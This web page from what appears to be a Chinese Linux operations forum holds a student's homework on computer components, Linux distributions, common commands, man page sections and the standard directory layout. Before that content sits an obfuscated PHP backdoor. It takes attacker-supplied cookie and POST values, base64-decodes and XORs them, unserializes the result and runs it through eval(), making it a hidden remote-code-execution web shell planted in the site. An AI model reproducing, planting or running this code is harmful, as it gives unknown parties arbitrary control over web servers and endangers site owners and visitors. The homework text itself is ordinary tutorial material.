$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} N26-第一周作业 | Linux运维部落

N26-第一周作业

1、描述计算机的组成及其功能;

 计算机组成部分分为硬件及软件。

 硬件:

 计算机硬件主要有五大部分组成:运算器、控制器、存储器、输入设备、输出设备;

 1)运算器、控制器,统称为处理器,也就是CPU:

   主要功能是对各种数据进行运算,包括加、减、乘、除的算术运算,还包括进行逻辑判断的能力,如“与”“或”“非”的基本逻辑判断。

 2)存储器:

   将输入设备接收到的信息,以二进制形式存储到存储器中,计算机中只有用“0”或“1”的二进制来表示数据。计算机中所有的信息必须转换成“0”或“1”来进行存储,如英文字母、运算符号等信息。

 3)输入设备:

   用来向计算机输入各种数据及程序的设备,输入设备把各种形式的信息,如数字、字母、文字及图像等信息转换为数字形式的“编码”,即计算机能够识别到的二进制形式,把他们输入到计算机中存储起来。包括键盘、鼠标等都属于输入设备。

 4)输出设备:

   从计算机输出各类数据的设备,把计算机加工处理完后的结果,变成人或其他设备能够识别和接收的形式,如文字、字母、数字、图像等形式。包括显示器、打印机等属于输出设备。

 软件:

 将底层的硬件设备所提供的功能,通过软件的形式来展现出来。

 1)低级语言:

   接近计算机底层的编程语言,执行效率高,速度快,直接对硬件进行操作,但是不易于学习使用。包括汇编语言、机器语言、嵌入式等;

 2)高级语言:

   更接近人类语言逻辑的编程语言,开发效率高,更易于学习与使用。包括C、C++、Java、Python等;

2、按系列罗列Linux的发行版,并描述不同发行版之间的联系与区别。

  1)Redhat:商业公司维护的发行版本。

    主要发行版本包括:

    RHEL(Redhat Enterprise Linux):即Redhat企业版,该版本的补丁为免费用户仅提

     供源码,为收费用户提供解决方案。

    CentOS:REHL的社区克隆版本,由社区为用户提供补丁的源码转换。

     Fedora Core:由原来的Redhat桌面版本发展而来,属于免费版本。

    RHEL与CentOS稳定性非常好,适合服务器使用;Fedora Core稳定性较差,适用于桌面使用       

  2)Debian:属于社区类的Linux,迄今为止最遵循GUN规范的Linux系统。

     主要发行版本包括:

    Ubuntu:最适合做桌面系统Linux发行版本。

     Knoppix:采用特殊压缩技术,不需要硬盘安装即可为用户使用,便于光盘教学演示

    等。

  3)Slackware:基于SLS的发行版

    主要发行版本包括:

    S.u.S.E:SUSE Linux,包括SLES(企业版),OpenSUSE(免费版)

3、描述Linux的哲学思想,并按照自己的理解对其进行解释性描述。

 1)一切皆文件:文件、目录、字符设备及硬件设备在Linux系统中均以文件形式存在,虽然类型不同,但是对其提供的却是同一套操作界面。

  2)由众多目的单一的小程序组成,一个程序只实现一个功能,多个程序组合完成复杂任务:能够保证Linux内核的高效运行,在保证单一任务高效的同时,复杂的多任务程序也同样是高效的。

  3)文本文件保存配置信息:Linux所有的配置信息都存放在文本配置文件当中,用户只需用任何一款文本编辑器即可进行修改,便于用户使用。

  4)尽量避免与用户交互:Linux属于开源的,任何问题都可以通过简洁的命令行方式去排错,修改配置,一切都是简洁明了为基础。

  5)自由与分享:Linux是自由软件,当然也不是无限自由,之所以使用GUN的General Public License作为限制,是为了让更多的人享受这种修改和权力,是为了更好的实现最大的自由化。

4、说明Linux系统上命令的使用格式,详细介绍常用命令的使用,并配合相应的的示例来阐述。

 1)ifconfig: 查看和配置网络设备;

    

[root@localhost ~]# ifconfig 

eth0      Link encap:Ethernet  HWaddr 00:0C:29:13:DB:AC  

          inet addr:192.168.1.36  Bcast:192.168.1.255  Mask:255.255.255.0

          inet6 addr: fe80::20c:29ff:fe13:dbac/64 Scope:Link

          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

          RX packets:21 errors:0 dropped:0 overruns:0 frame:0

          TX packets:18 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:1000 

          RX bytes:3076 (3.0 KiB)  TX bytes:1625 (1.5 KiB)

eth2      Link encap:Ethernet  HWaddr 00:0C:29:13:DB:B6  

          inet addr:10.1.1.3  Bcast:10.1.1.255  Mask:255.255.255.0

          inet6 addr: fe80::20c:29ff:fe13:dbb6/64 Scope:Link

          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

          RX packets:60 errors:0 dropped:0 overruns:0 frame:0

          TX packets:67 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:1000 

          RX bytes:7661 (7.4 KiB)  TX bytes:12759 (12.4 KiB)

lo        Link encap:Local Loopback  

          inet addr:127.0.0.1  Mask:255.0.0.0

          inet6 addr: ::1/128 Scope:Host

          UP LOOPBACK RUNNING  MTU:16436  Metric:1

          RX packets:0 errors:0 dropped:0 overruns:0 frame:0

          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:0 

          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

 2)echo:显示,回显;

    [root@localhost ~]# echo "hello"

    hello

    [root@localhost ~]# echo $SHELL

    /bin/bash

 3)tty:显示终端机连接标准输入设备的文件名称

    [root@localhost ~]# tty

    /dev/pts/0

 4)startx:启动图形化界面

 5)export:设置或显示环境变量

 6)pwd:显示工作目录

    [root@localhost network-scripts]# pwd

    /etc/sysconfig/network-scripts

 7)history:显示历史命令

[root@localhost /]# history 

    1  ifconfig 

    2  cd /etc/sysconfig/network-scripts/

    3  ls

    4  cat ifcfg-eth0

    5  cat ifcfg-eth2

    6  cat ifcfg-eth1

    7  vim ifcfg-eth1

    8  service network restart

    9  ifconfig 

   10  ifconfig eth0 up

   11  ifconfig 

   12  ifconfig eth2 up

   13  ls

   14  mv ifcfg-eth1 ifcfg-eth2

   15  ifconfig eth2 up

   16  ls

   17  cat ifcfg-eth2

   18  vim ifcfg-eth2

   19  ifconfig eth2 up

   20  service network restart

 8)shutdown:关机,重启命令;

      -r     shutdown后重启

      -h     关机

      -s     关机

      -s -t   设置关机倒计时

 9)poweroff:关机,关闭电源

 10)reboot:重启

 11)hwclock:查看硬件时钟;

    [root@localhost /]# hwclock

    2016年12月31日 星期六 20时03分48秒  -0.907949 seconds

    [root@localhost /]# 

    [root@localhost /]# hwclock -r

    2016年12月31日 星期六 20时33分08秒  -1.345162 seconds

 12)date:查看系统时钟;

    格式:#date 月日时分年.秒    

    例:

    [root@localhost /]# date +%F  #显示当前年月日

    2016-12-31

    [root@localhost /]# date +%Y  #显示当前年份

    2016

    [root@localhost /]# date +%y  #显示当前年份后2位

    16

    [root@localhost /]# date +%d  #显示日

    31

5、如何在Linux系统上获取命令的帮助信息,man文档章节是如何划分的。

  分为内部和外部命令

  用type来区分

    [root@localhost /]# type pwd    #内部命令

    pwd is a shell builtin

    

    [root@localhost /]# type cat    #外部命令

    cat is /bin/cat

    内部命令使用help:

    [root@localhost /]# help pwd

    pwd: pwd [-LP]

        Print the name of the current working directory.

        

        Options:

          -L        print the value of $PWD if it names the current                 working directory

          -P        print the physical directory, without any symbolic                 links

    外部命令使用man命令:man COMMAND

    首先通过whatis命令查看该命令位于man哪个章节

    [root@localhost /]# whatis ifconfig

    ifconfig             (8)  – configure a network interface

    [root@localhost /]# man 8 ifconfig

    IFCONFIG(8)                Linux Programmer’s Manual                IFCONFIG(8)

    

    NAME

           ifconfig – configure a network interface

    

    SYNOPSIS

           ifconfig [interface]

           ifconfig interface [aftype] options | address …

  man命令章节划分:

    1、所有用户可以使用的命令
    2、系统内核调用,不是每个命令都有系统调用(如:man 2 read)
    3、库调用
    4、特殊文件,如:/dev/tty1
    5、文件格式(命令配置文件的语法,如:man 5 passwd)
    6、游戏相关
    7、杂项

    8、管理员命令,如:fdisk

6、请罗列Linux发行版的基础目录名称命名法则及功用规定

/bin   

存放系统所需要的那些命令,比如ls、cp、mkdir等命令;功能和/usr/bin类似,这个目录中的文件都是可执行的、普通用户可以使用的命令。

/sbin  

该目录存放root用户的常用系统命令用户无权限执行这个目录下的命令。

/boot   

这是Linux系统启动时所需要的文件目录,文件目录下存放有比如initrd.img等文件,grub系统引导管理器也位于这个目录。

   

/dev   

设备文件存储目录,比磁盘、光驱。

   

/etc   

系统配置文件的所在,一些服务器的配置文件也在这里;比如用户帐号及密码配置文件。当系统启动时,需要读取其参数进行相应的配置

   

/home  

普通用户目录默认存放目录

   

/lib   

存放库文件的目录,目录中存放在着系统动态链接共享库的。

/lib64

64位系统特有的存放64位库文件目录    

   

/tmp  

临时文件目录,有时用户运行程序的时候,会产生临时文件就放在此目录下

   

/usr 

这个是系统存放程序的目录,比如命令、帮助文件等。当我们安装一个Linux发行版官方提供的软件包时,大多安装在这里。

   

/usr/bin   

普通用户可执行文件目录

   

/usr/sbin   

超级权限用户root可执行命令存放目录

   

/usr/src   

内核源代码默认的放置目录

/usr/local 

通常用来安装第三方程序

   

/var   

这个目录的内容是经常变动的,/var下有/var/log这是用来存放系统日志的目录

   

/media   

本目录是空的,是用于挂载的

   

/srv   

一些服务需要访问的文件存放在这

   

/sys   

系统的核心文件

  

/lost+found   

系统异常信息存放目录

/misc   

存放从Dos下进行安装的实用工具

 

/root   

超级用户登录的主目录

    

/mnt

系统预留让用户来进行移动设备挂载时的目录

/opt     

系统预留给用户存放安装文件的目录

/selinux

Redhat/Centos系统特有的目录,存放有关SElinux的配置文件

/proc

系统硬件和内存中的信息的映射文件

原创文章,作者:徐 琦,如若转载,请注明出处:http://www.178linux.com/65095

(0)
上一篇 2016-12-31 10:57
下一篇 2016-12-31 18:58

相关推荐

  • Javascript 装载和执行

    一两个月前在淘宝内网里看到一个优化Javascript代码的竞赛,发现有不少的人对Javascript的执行和装载的基础并不懂,所以,从那天起我就想写一篇文章,但一直耽搁了。自上篇《浏览器渲染原理简介》,正好也可以承前启后。 首先,我想说一下Javascript的装载和执行。通常来说,浏览器对于Javascript的运行有两大特性:1)载入后马上执行,2)执…

    Linux干货 2016-08-15
  • 文本处理三剑客之sed

    文本处理三剑客之sed sed概述 sed使用示例 sed的高级应用 sed概述 sed, 作为文本三剑客之一,其定位就是一个编辑器, 而且sed是一个流式编辑器(stream editor),其主要功能是过滤和转换文本。 sed – stream editor for filtering and&…

    Linux干货 2016-08-12
  • grep正则表达式

    grep:这是一个搜索命令,搜文本并且将文本行显示出来 (1)grep -i 表示搜索的时候忽略大小写 (2)grep –colour 表示搜索关键字带颜色 例如:grep –colour ‘root’ /etc/passwd 显示为在etc的passwd里的 root 选项有颜色 *为了方便我们可以定义个别名,让他搜索的时候默认显示为带颜色 alias…

    Linux干货 2017-07-29
  • Linux Basics–part4

    1、复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限 ~]# cp -rf /etc/skel/ /home/tuser1 && chmod -R go=— /home/tuser1 [root@ronny1 ~]# ll -d /home/tuser…

    Linux干货 2017-08-07
  • Linux文件和目录管理

    Linux目录和文件管理 Linux文件信息详述 文件数据存储在块中 文件元数据存储在inode中 文件名和其对应的inode号码存储在目录项中 数据块的概念: 文件在硬盘上的最小存储单位叫做扇区,1扇区=512字节,操作系统读取硬盘的时候不会一个一个读,这样太慢,会一次连续读多个扇区,即一个读取一个“块”,常见的 1块=八个扇区=4kB inode的概念:…

    Linux干货 2016-11-04
  • N25-第九周作业

    1、写一个脚本,判断当前系统上所有用户的shell是否为可登录shell(即用户的shell不是/sbin/nologin);分别统计这两类用户的个数;通过字符串比较来实现; #!/bin/bash     echo “可登录类型有有$(awk -F: ‘/[^\<nologin\>…

    Linux干货 2017-03-11